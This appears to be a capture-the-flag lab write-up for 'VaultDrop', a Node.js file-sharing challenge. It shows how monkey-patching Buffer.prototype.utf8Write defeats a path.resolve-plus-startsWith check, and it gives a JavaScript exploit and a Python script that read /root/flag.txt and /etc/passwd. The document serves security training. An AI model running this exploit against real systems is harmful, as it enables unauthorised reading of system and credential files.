Lab 260 — VaultDrop — Path Traversal via Buffer.prototype.utf8Write Monkey-Patching
Lab 260 — VaultDrop — Path Traversal via Buffer.prototype.utf8Write Monkey-Patching
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-05-15 | Status: Solved Techniques: buffer_utf8write_monkey_patch, path_resolve_bypass, prototype_method_override, startswith_check_bypass
Summary
Task: Node.js file-sharing platform with workspace automations that run JavaScript in a sandbox; readFile API validates paths via path.resolve() + startsWith(). Solution: Monkey-patched Buffer.prototype.utf8Write to inject a traversal path after path.resolve() normalization, bypassing the startsWith check while the OS resolves ../ components to read /root/flag.txt.
Lab 260 — VaultDrop — Path Traversal via Buffer.prototype.utf8Write Monkey-Patching — HackAdvisor
Description
VaultDrop is a team file-sharing platform where organizations can upload, organize, and collaborate on documents within secure workspaces. The platform features workspace automations that let users write custom JavaScript scripts to process and transform their files. Each workspace is isolated with strict access controls to prevent users from accessing files outside their designated directories. The automation sandbox provides a readFile API that validates paths using path.resolve() before reading. Your goal is to bypass the path traversal protection in the automation sandbox and read a sensitive file that should be inaccessible to regular users.
English summary: A Node.js/Express file-sharing platform with workspace automations. Users can write JavaScript code that runs in a sandbox with a readFile(path) API. The sandbox validates file paths using path.resolve() followed by a startsWith() check to prevent path traversal. The goal is to bypass this protection and read /root/flag.txt.
Analysis
Reconnaissance
- Stack: Node.js + Express (identified via
X-Powered-By: Expressheader) - Credentials:
user@test.com/password123 - Key pages: Dashboard with 4 workspaces; Workspace 2 ("Engineering Docs") is owned by the user and has an Automations feature
- Key endpoint:
POST /workspace/2/automations/run-code— accepts JSON{"code": "..."}and executes JavaScript in a sandbox - Workspace directory:
/app/data/workspaces/2/ - Decoy flag:
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}embedded in HTML comments on every page — a honeypot for automated solvers
Sandbox Environment
The automations page at /workspace/2/automations provides a code editor. The sandbox exposes the following globals:
- File API:
readFile(path),listFiles() - Utilities:
console.log(),Buffer,JSON,Math,Date - Types:
String,Array,Object,RegExp,Map,Set - Blocked:
require,process,global— allundefined
Path Validation Logic
The readFile() function implements path traversal protection:
path.resolve(workspaceDir, userInput)— normalizes the path, resolving all../componentsresolved.startsWith(workspaceDir)— checks the resolved path starts with/app/data/workspaces/2/fs.readFileSync(resolved, 'utf8')— reads the file if the check passes
Basic traversal attempts like readFile("../../../etc/passwd") return "Access denied: path outside workspace directory" because path.resolve() normalizes the ../ components, producing /etc/passwd which fails the startsWith check.
Discovering the Attack Vector
By instrumenting Buffer.prototype.utf8Write and Buffer.prototype.utf8Slice, we can observe how path.resolve() constructs its return value internally:
javascript read-only • copy allowed// Instrumentation to trace Buffer.prototype.utf8Write calls var origWrite = Buffer.prototype.utf8Write; var callCount = 0; Buffer.prototype.utf8Write = function(str, offset, length) { callCount++; console.log("utf8Write call #" + callCount + ": str=" + JSON.stringify(str) + " offset=" + offset); return origWrite.call(this, str, offset, length); }; readFile('architecture-overview.txt'); Buffer.prototype.utf8Write = origWrite;
Output:
utf8Write call #1: str="/app/data/workspaces/2/architecture-overview.txt" offset=0
This reveals that path.resolve() internally calls Buffer.prototype.utf8Write exactly once to write the resolved path string into a buffer. It then calls utf8Slice to read the buffer back into a JavaScript string. Since Buffer is exposed in the sandbox, we can monkey-patch utf8Write to replace the resolved path with an arbitrary one.
Solution
The Attack: Buffer.prototype.utf8Write Monkey-Patching
The key insight is that by monkey-patching Buffer.prototype.utf8Write, we can inject content after path.resolve() has done its normalization but before the result is returned as a JavaScript string. This means we can craft a path that:
- Passes the
startsWithcheck — it literally starts with/app/data/workspaces/2/ - Contains
../traversal components — the OS resolves these whenfs.readFileSyncopens the file
The crafted path: /app/data/workspaces/2/../../../../root/flag.txt
startsWith("/app/data/workspaces/2/")→ true (the prefix matches)- OS resolution:
/app/data/workspaces/2/../../../../root/flag.txt→/root/flag.txt
Normally path.resolve() would strip the ../ components, but our monkey-patch injects them into the output of path.resolve(), not the input. The startsWith check sees the un-normalized string, while the OS normalizes it when opening the file.
Exploit Code (JavaScript — submitted to sandbox)
javascript read-only • copy allowedvar origWrite = Buffer.prototype.utf8Write; var targetPath = "/app/data/workspaces/2/../../../../root/flag.txt"; Buffer.prototype.utf8Write = function(str, offset, length) { if (str.includes('/app/data/workspaces') && !str.includes('..')) { var written = origWrite.call(this, targetPath, offset, targetPath.length); return written; } return origWrite.call(this, str, offset, length); }; try { var content = readFile('architecture-overview.txt'); console.log(content); } catch(e) { console.log('Error: ' + e.message); } Buffer.prototype.utf8Write = origWrite;
How the condition works:
str.includes('/app/data/workspaces')— matches only thepath.resolve()output (which contains the workspace path)!str.includes('..')— ensures we intercept the original resolved path (which has no../since it's already normalized), not our own injected path on any recursive calls- The original
utf8Writeis restored after execution to avoid side effects
Automated Exploit (Python)
python read-only • copy allowed#!/usr/bin/env python3 import requests import json TARGET = "https://d3806f2b-a539-4437-8b59-3be63098c4b7.labs.hackadvisor.io" session = requests.Session() # Login session.post(f"{TARGET}/login", data={ "email": "user@test.com", "password": "password123" }) def try_read(target_path): """Read arbitrary file via Buffer.prototype.utf8Write monkey-patching""" payload_path = f"/app/data/workspaces/2/../../../../{target_path.lstrip('/')}" code = f""" var origWrite = Buffer.prototype.utf8Write; var targetPath = "{payload_path}"; Buffer.prototype.utf8Write = function(str, offset, length) {{ if (str.includes('/app/data/workspaces') && !str.includes('..')) {{ var written = origWrite.call(this, targetPath, offset, targetPath.length); return written; }} return origWrite.call(this, str, offset, length); }}; try {{ var content = readFile('architecture-overview.txt'); console.log(content); }} catch(e) {{ console.log('Error: ' + e.message); }} Buffer.prototype.utf8Write = origWrite; """ resp = session.post( f"{TARGET}/workspace/2/automations/run-code", json={"code": code} ) return resp.json() # Read the flag result = try_read("/root/flag.txt") print("\n".join(result.get("output", [])))
Execution
Submitted the exploit code via POST to /workspace/2/automations/run-code. The sandbox executed the monkey-patched code, and the output contained the contents of /root/flag.txt:
FLAG{REDACTED}
Also confirmed arbitrary file read by successfully reading /etc/passwd.